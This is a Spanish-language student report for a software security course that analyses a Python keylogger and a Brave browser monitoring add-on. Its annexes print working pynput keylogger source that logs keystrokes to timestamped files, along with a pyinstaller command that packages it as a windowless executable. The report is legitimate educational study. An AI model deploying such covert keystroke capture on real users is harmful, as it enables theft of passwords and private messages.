



Universidad de las Fuerzas Armadas

ESPE

Nombre:

Bryan Roberto Quispe Romero

NRC:

28423

Materia:

ING. SEGURIDAD DEL SOFTWARE

Tema:

keylogger de tipo software y keylogger de tipo addon de navegador web

Fecha:

27 de Octubre del 2025

1. Introducción

Este informe tiene como objetivo analizar el funcionamiento y comportamiento de dos herramientas de monitoreo de entrada y navegación: un keylogger programado en Python y un complemento (add-on) del navegador Brave que registra el historial, los textos copiados y pegados, así como las páginas visitadas.

El propósito de este análisis es comprender el proceso de captura de información del usuario desde diferentes niveles del sistema (a nivel de sistema operativo y a nivel de navegador), evaluando sus capacidades, limitaciones, y posibles aplicaciones en entornos de ciberseguridad, auditoría y pruebas de comportamiento del usuario. Asimismo, se busca resaltar la importancia del uso ético de estas herramientas, las cuales deben emplearse únicamente con fines educativos, de investigación o de control autorizado, respetando la privacidad y las leyes vigentes.

2. Objetivos

Objetivo general:

Analizar el funcionamiento de dos keyloggers uno desarrollado en Python y otro implementado como extensión del navegador Brave para comprender sus mecanismos de captura de datos y su impacto potencial en la seguridad informática.

Objetivos específicos:

- Describir el funcionamiento interno del keylogger programado en Python, incluyendo la detección y registro de teclas.
 - Analizar la información capturada por el complemento del navegador Brave, evaluando su alcance y precisión.
 - Comparar los resultados de ambos enfoques en términos de facilidad de implementación, nivel de detalle de los datos recopilados y posibles riesgos.
 - Reflexionar sobre las implicaciones éticas y de seguridad del uso de estas herramientas en entornos reales.
-

3. Desarrollo / Marco Teórico

3.1 Conceptos básicos

Un **keylogger** es un software diseñado para registrar las pulsaciones del teclado y, en algunos casos, la actividad del usuario en el sistema. Estas herramientas pueden tener usos legítimos, como la supervisión de sistemas corporativos, el análisis de comportamiento o la auditoría de seguridad, pero también pueden emplearse de forma

maliciosa.

Los **keyloggers de software** pueden operar a distintos niveles:

- **A nivel del sistema operativo**, capturando cualquier pulsación registrada por el teclado físico.
- **A nivel del navegador o aplicación**, donde pueden registrar textos introducidos en formularios, historial de navegación, y datos copiados o pegados.

El **add-on de Brave** funciona a nivel de navegador, mientras que el **programa en Python** opera de manera independiente al sistema operativo, capturando todas las pulsaciones detectadas.

3.2 Procedimiento

1. Desarrollo del keylogger en Python:

Se implementó un script utilizando la librería pynput para escuchar los eventos del teclado en tiempo real.

El programa genera un archivo de texto (registro_YYYYMMDD_HHMM.txt) donde almacena las pulsaciones capturadas cada media hora, diferenciando entre caracteres alfanuméricos, espacios, teclas especiales y saltos de línea.

La ejecución finaliza al presionar la tecla ESC.

2. Uso del add-on del navegador Brave:

Se utilizó un complemento de monitoreo que registra:

- El historial de páginas visitadas.
- Los textos copiados y pegados.
- La actividad de navegación durante el uso del navegador.

Este add-on permitió observar la interacción del usuario dentro del entorno web, complementando la información capturada por el keylogger del sistema.

3.3 Resultados

- El **keylogger en Python** demostró un registro detallado y continuo de todas las pulsaciones del teclado, incluso fuera del navegador.
- El **add-on del navegador Brave** registró información contextual (sitios web visitados, textos copiados y pegados), lo que permitió correlacionar las pulsaciones del teclado con actividades específicas del usuario.
- Se observó que el keylogger en Python tiene mayor alcance, mientras que el add-on es más específico en su ámbito de acción, centrado en la navegación web.

Ambas herramientas ofrecieron una visión complementaria del comportamiento del usuario, mostrando cómo diferentes capas del sistema pueden ser utilizadas para la captura de información.

4. Conclusiones

En base a esta experiencia se concluyó que es este tipo de malware es bastante peligroso solo con unas pocas líneas de Python pude realizar un keylogger exitoso a veces tenía esas sospechas porque se trababa a la hora de escribir pero nada fuera de lo común y con esto puede extraer mensajes, contraseña usuarios , etc.

Esto puede llegar ser más peligroso aun y extraer información como archivos , videos , imágenes, prender la cámara sin que el usuario se de cuenta o cosas peores como extracción de datos íntimos , esto nos hace ver que lo gratis puede salir muy caro ya sea juegos , programas o una simple película

6. Bibliografía

emersoncrp. (2023, enero 30). *Cómo crear un keylogger con Python desde 0* [Video]. YouTube. <https://www.youtube.com/watch?v=1arjNQE8bLs>

7. Anexos

```
1 from pynput import keyboard
2 from datetime import datetime
3
4 def on_press(key):
5     try:
6         # Genera el nombre del archivo con fecha y hora redondeada a media hora
7         now = datetime.now()
8         if now.minute >= 30:
9             half_hour = now.replace(minute=30, second=0, microsecond=0)
10        else:
11            half_hour = now.replace(minute=0, second=0, microsecond=0)
12        timestamp = half_hour.strftime("%Y%m%d_%H%M")
13        filename = f"registro_{timestamp}.txt"
14
15        # Si es una tecla alfanumérica (letra o número)
16        if hasattr(key, 'char') and key.char is not None:
17            with open(filename, "a", encoding="utf-8") as f:
18                f.write(key.char)
19        else:
20            # Manejo de teclas especiales
21            if key == keyboard.Key.space:
22                with open(filename, "a", encoding="utf-8") as f:
23                    f.write(" ") # Espacio literal
24            elif key == keyboard.Key.enter:
25                with open(filename, "a", encoding="utf-8") as f:
26                    f.write("\n") # Salto de línea
27            else:
28                # Lista de teclas especiales permitidas
29                teclas_permitidas = {
30                    keyboard.Key.ctrl, keyboard.Key.alt, keyboard.Key.alt_s
```

Anexo 1: Código del keylogger software parte 1

```

4  def on_press(key):
23      f.write(" ") # Espacio literal
24      elif key == keyboard.Key.enter:
25          with open(filename, "a", encoding="utf-8") as f:
26              f.write("\n") # Salto de línea
27      else:
28          # Lista de teclas especiales permitidas
29          teclas_permitidas = {
30              keyboard.Key.alt, keyboard.Key.alt_l, keyboard.Key.alt_r,
31              keyboard.Key.ctrl, keyboard.Key.ctrl_l, keyboard.Key.ctrl_r,
32              keyboard.Key.shift, keyboard.Key.shift_l, keyboard.Key.shift_r,
33              keyboard.Key.tab, keyboard.Key.caps_lock, keyboard.Key.esc,
34              keyboard.Key.cmd, keyboard.Key.cmd_l, keyboard.Key.cmd_r,
35              keyboard.Key.f1, keyboard.Key.f2, keyboard.Key.f3, keyboard.Key.f4,
36              keyboard.Key.f5, keyboard.Key.f6, keyboard.Key.f7, keyboard.Key.f8,
37              keyboard.Key.f9, keyboard.Key.f10, keyboard.Key.f11, keyboard.Key.f12
38          }
39          if key in teclas_permitidas:
40              with open(filename, "a", encoding="utf-8") as f:
41                  f.write(f"[{key.name}]")
42      except Exception as e:
43          print(f"Error: {e}")
44
45  def on_release(key):
46      if key == keyboard.Key.esc: # Presionar ESC para salir
47          return False
48
49  with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
50      listener.join()

```



Anexo 2: Código del keylogger software parte 2

```




PS C:\Users\rquis\OneDrive\Escritorio\7mo-Semestre\Ing de Seguridad\Parcial 1\Deber 1\Keylogger> pyinstaller --clean --onefile --windowed .\keylogger.py

```

Anexo 3: Realización de programa el código

Name	Date mod	
 keylogger	27-Oct-25	hola como estas quiero pan
 registro	27-Oct-25	

Anexo 4: Keylogger de software realizado en .exe y su respectivo registro en .txt

▼  keylogger (2)	0%	11.8 MB	0 MB/s	0 Mbps
 keylogger	0%	0.9 MB	0 MB/s	0 Mbps
 keylogger	0%	10.8 MB	0 MB/s	0 Mbps